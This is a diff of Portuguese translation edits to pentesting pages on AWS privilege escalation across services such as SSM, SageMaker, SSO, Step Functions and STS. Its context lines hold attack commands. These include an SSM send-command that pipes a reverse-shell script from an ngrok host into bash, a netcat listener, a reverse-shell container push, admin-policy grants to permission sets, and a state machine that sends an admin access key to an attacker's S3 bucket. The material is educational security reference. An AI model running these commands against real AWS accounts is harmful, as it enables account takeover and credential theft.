index 145aa9440..2c04f02d1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -44,7 +44,7 @@ aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> 
 ## Acessando Serviços Externos
 
 > [!WARNING]
-> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode simplesmente definir "**default**" para usar o padrão atribuído.
+> Para acessar todos os recursos a seguir, você precisará **especificar o papel a ser usado**. Um cluster Redshift **pode ter uma lista de papéis AWS atribuídos** que você pode usar **se souber o ARN** ou você pode apenas definir "**default**" para usar o padrão atribuído.
 
 > Além disso, como [**explicado aqui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), o Redshift também permite concatenar papéis (desde que o primeiro possa assumir o segundo) para obter acesso adicional, mas apenas **separando-os** com uma **vírgula**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index d4f58e093..366ac0898 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -34,7 +34,7 @@ Por exemplo, um atacante com essas **permissões sobre um bucket de cloudformati
 ]
 }
 ```
-E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **função lambda** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**.
+E o sequestro é possível porque há uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **ativada quando uma notificação de bucket for enviada**, e **sequestrar** o **conteúdo** desse **bucket**.
 
 ![](<../../../images/image (174).png>)
 
@@ -43,7 +43,7 @@ Para mais informações, consulte a pesquisa original: [https://rhinosecuritylab
 
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
-Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam armazenamento S3 para armazenar **arquivos de configuração**.\
+Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para armazenar **arquivos de configuração**.\
 Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** neles.\
 Um atacante com **acesso de gravação** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
 Aqui estão alguns exemplos:
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-Um atacante poderia abusar dessas permissões para **conceder a si mesmo mais acesso** a buckets específicos.\
+Um atacante poderia abusar dessas permissões para **conceder mais acesso** sobre buckets específicos.\
 Observe que o atacante não precisa ser da mesma conta. Além disso, o acesso de gravação
 ```bash
 # Update bucket ACL
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 2ff9950e4..583d68651 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -17,11 +17,11 @@ A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nov
 aws sagemaker create-presigned-notebook-instance-url \
 --notebook-instance-name <name>
 ```
-Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
+Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”.
 
 Agora é possível acessar as credenciais de metadados da IAM Role.
 
-**Impacto Potencial:** Privesc para a função de serviço sagemaker especificada.
+**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado.
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
@@ -71,7 +71,7 @@ Um atacante com essas permissões será capaz de criar um trabalho de treinament
 > cd /tmp/rev
 > sudo docker build . -t reverseshell
 >
-> # Enviá-lo para ECR
+> # Enviar para ECR
 > sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
 > sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
 > sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index 2be9d7127..664769960 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Com as permissões anteriores, é possível **dar acesso a outros principais/contas (mesmo externos)** para acessar o **segredo**. Note que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [página de Enumeração KMS](../aws-services/aws-kms-enum.md)).
+Com as permissões anteriores, é possível **dar acesso a outros principais/contas (mesmo externos)** para acessar o **segredo**. Note que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [página KMS Enum](../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index 256f8d95d..305d049db 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 
 ### `sns:AddPermission`
 
-Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais.
+Um atacante poderia conceder acesso a um tópico SNS a usuários ou serviços não autorizados, potencialmente obtendo permissões adicionais.
 ```css
 aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index ee25cde6d..0f4adfa72 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -35,6 +35,6 @@ aws sqs receive-message --queue-url <value>
 aws sqs delete-message --queue-url <value> --receipt-handle <value>
 aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
 ```
-**Impacto Potencial**: Roubar informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
+**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index 7898385b3..d3eab2ceb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -12,7 +12,7 @@ Para mais informações sobre SSM, consulte:
 
 ### `ssm:SendCommand`
 
-Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está em execução dentro dele.
+Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está sendo executado dentro dele.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
 ```
-Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode apenas capturar o rev shell localmente com:
+Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com:
 ```bash
 # If you are in the machine you can capture the reverseshel inside of it
 nc -lvnp 4444 #Inside the EC2 instance
@@ -47,12 +47,12 @@ aws ssm start-session --target "$INSTANCE_ID"
 > [!CAUTION]
 > Para iniciar uma sessão, você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento.
+**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents em execução.
 
 #### Privesc para ECS
 
 Quando as **tarefas ECS** são executadas com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do contêiner.\
-De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin do SSM Session Manager necessário para que isso funcione)\
+De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin SSM Session Manager necessário para que isso funcione)\
 Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro das tarefas ECS** com essa opção habilitada apenas executando:
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
@@ -103,7 +103,7 @@ aws ssm list-command-invocations
 
 aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
 ```
-**Impacto Potencial:** Encontre informações sensíveis dentro da saída dos comandos.
+**Impacto Potencial:** Encontrar informações sensíveis dentro da saída dos comandos.
 
 ### Codebuild
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index aecf0e18f..b26031713 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -4,7 +4,7 @@
 
 ## AWS Identity Center / AWS SSO
 
-Para mais informações sobre o AWS Identity Center / AWS SSO, consulte:
+Para mais informações sobre AWS Identity Center / AWS SSO, consulte:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -17,7 +17,7 @@ Para mais informações sobre o AWS Identity Center / AWS SSO, consulte:
 
 ### ~~Redefinir Senha~~
 
-Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail do usuário.
+Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail dos usuários.
 
 ### `identitystore:CreateGroupMembership`
 
@@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id <tore-id> --group-
 ```
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Um atacante com esta permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
+Um atacante com essa permissão poderia conceder permissões extras a um Permission Set que é concedido a um usuário sob seu controle.
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
+Um atacante com essa permissão poderia conceder permissões adicionais a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
 
 > [!WARNING]
-> Para abusar dessas permissões, neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas.
+> Para abusar dessas permissões neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -93,7 +93,7 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInsta
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-Um atacante com esta permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
+Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index 4d5d5d8a6..9345f19f1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -4,7 +4,7 @@
 
 ## Step Functions
 
-Para mais informações sobre este serviço da AWS, consulte:
+Para mais informações sobre este serviço AWS, consulte:
 
 {{#ref}}
 ../aws-services/aws-stepfunctions-enum.md
@@ -14,22 +14,22 @@ Para mais informações sobre este serviço da AWS, consulte:
 
 Essas técnicas de escalonamento de privilégios vão exigir o uso de alguns recursos de função de passo da AWS para realizar as ações de escalonamento de privilégios desejadas.
 
-Para verificar todas as ações possíveis, você pode ir à sua própria conta da AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
+Para verificar todas as ações possíveis, você pode ir à sua própria conta AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
 
 <figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
-Ou você também pode ir à documentação da API da AWS e verificar a documentação de cada ação:
+Ou você também pode ir à documentação da API AWS e verificar a documentação de cada ação:
 
 - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
 - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
-Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços da AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
+Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
+Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o usuário **`admin`** aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
 
 - **stateDefinition.json**:
 ```json
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estado e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estado expressas**) para iniciar uma execução sobre a máquina de estado.
+Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estado e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de elevação de privilégios anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estado expressas**) para iniciar uma execução sobre a máquina de estado.
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
 ```
-Os seguintes exemplos mostram como criar uma máquina de estado que cria uma chave de acesso para o **`admin`** usuário e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estado execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
+Os seguintes exemplos mostram como criar uma máquina de estados que cria uma chave de acesso para o **`admin`** e exfiltra essa chave de acesso para um bucket S3 controlado por um atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estados execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
 
 - **stateMachineDefinition.json**:
 ```json
@@ -138,12 +138,12 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 
 ### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole`
 
-Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
+Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, este novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
 
-Dependendo de quão permissivo é o Papel IAM associado à máquina de estados, um atacante enfrentaria 2 situações:
+Dependendo de quão permissivo é o IAM Role associado à máquina de estados, um atacante enfrentaria 2 situações:
 
-1. **Papel IAM Permissivo**: Se o Papel IAM associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o Papel IAM, com a definição da máquina de estados sendo suficiente.
-2. **Papel IAM Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um Papel IAM permissivo à máquina de estados, além de modificar a definição da máquina de estados.
+1. **IAM Role Permissivo**: Se o IAM Role associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o IAM Role, com a definição da máquina de estados é suficiente.
+2. **IAM Role Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um IAM Role permissivo à máquina de estados além de modificar a definição da máquina de estados.
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
index 05eab6cf8..57907760d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
@@ -6,7 +6,7 @@
 
 ### `sts:AssumeRole`
 
-Toda função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** diz que uma conta pode assumí-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**).
+Toda função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** diz que uma conta pode assumi-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**).
 
 Por exemplo, a seguinte política de confiança da função indica que qualquer um pode assumí-la, portanto **qualquer usuário poderá privesc** para as permissões associadas a essa função.
 ```json
@@ -39,7 +39,7 @@ Com esta permissão, é possível gerar credenciais para se passar por qualquer
 ```bash
 aws sts get-federation-token --name <username>
 ```
-Esta é a maneira como essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários:
+É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários:
 ```json
 {
 "Version": "2012-10-17",
@@ -78,7 +78,7 @@ Um exemplo de uma política de confiança com esta permissão é:
 ]
 }
 ```
-Para gerar credenciais para se passar pela função, em geral, você poderia usar algo como:
+Para gerar credenciais para impersonar a função, você poderia usar algo como:
 ```bash
 aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
 ```
@@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
 
 ### `sts:AssumeRoleWithWebIdentity`
 
-Esta permissão concede permissão para obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade da web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+Esta permissão concede permissão para obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
 
 Por exemplo, se uma **conta de serviço EKS** deve ser capaz de **impersonar um papel IAM**, ela terá um token em **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e pode **assumir o papel e obter credenciais** fazendo algo como:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
index 7597ce792..412d78531 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
@@ -30,7 +30,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-Se você não tem acesso para ler algo, você pode simplesmente concedê-lo
+Se você não tem acesso para ler algo, você pode simplesmente concedê-lo.
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -38,7 +38,7 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-Você pode tornar um usuário administrador configurando-o no grupo ZOCALO_ADMIN.\
+Você pode tornar um usuário administrador colocando-o no grupo ZOCALO_ADMIN.\
 Para isso, siga as instruções em [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
 Faça login com esse usuário no workdoc e acesse o painel de administração em `/workdocs/index.html#/admin`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
index c4ef19353..2f5f0143a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
@@ -12,9 +12,9 @@ Mais informações sobre o EventBridge Scheduler em:
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-Um atacante com essas permissões será capaz de **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação
+Um atacante com essas permissões poderá **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação
 
-Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação template:
+Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação modelada:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
index afa6431a6..9f5691f8a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
@@ -11,16 +11,16 @@ Para mais informações sobre o Route53, consulte:
 ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
 
 > [!NOTE]
-> Para realizar este ataque, a conta alvo deve já ter uma [**Autoridade Certificadora Privada do AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
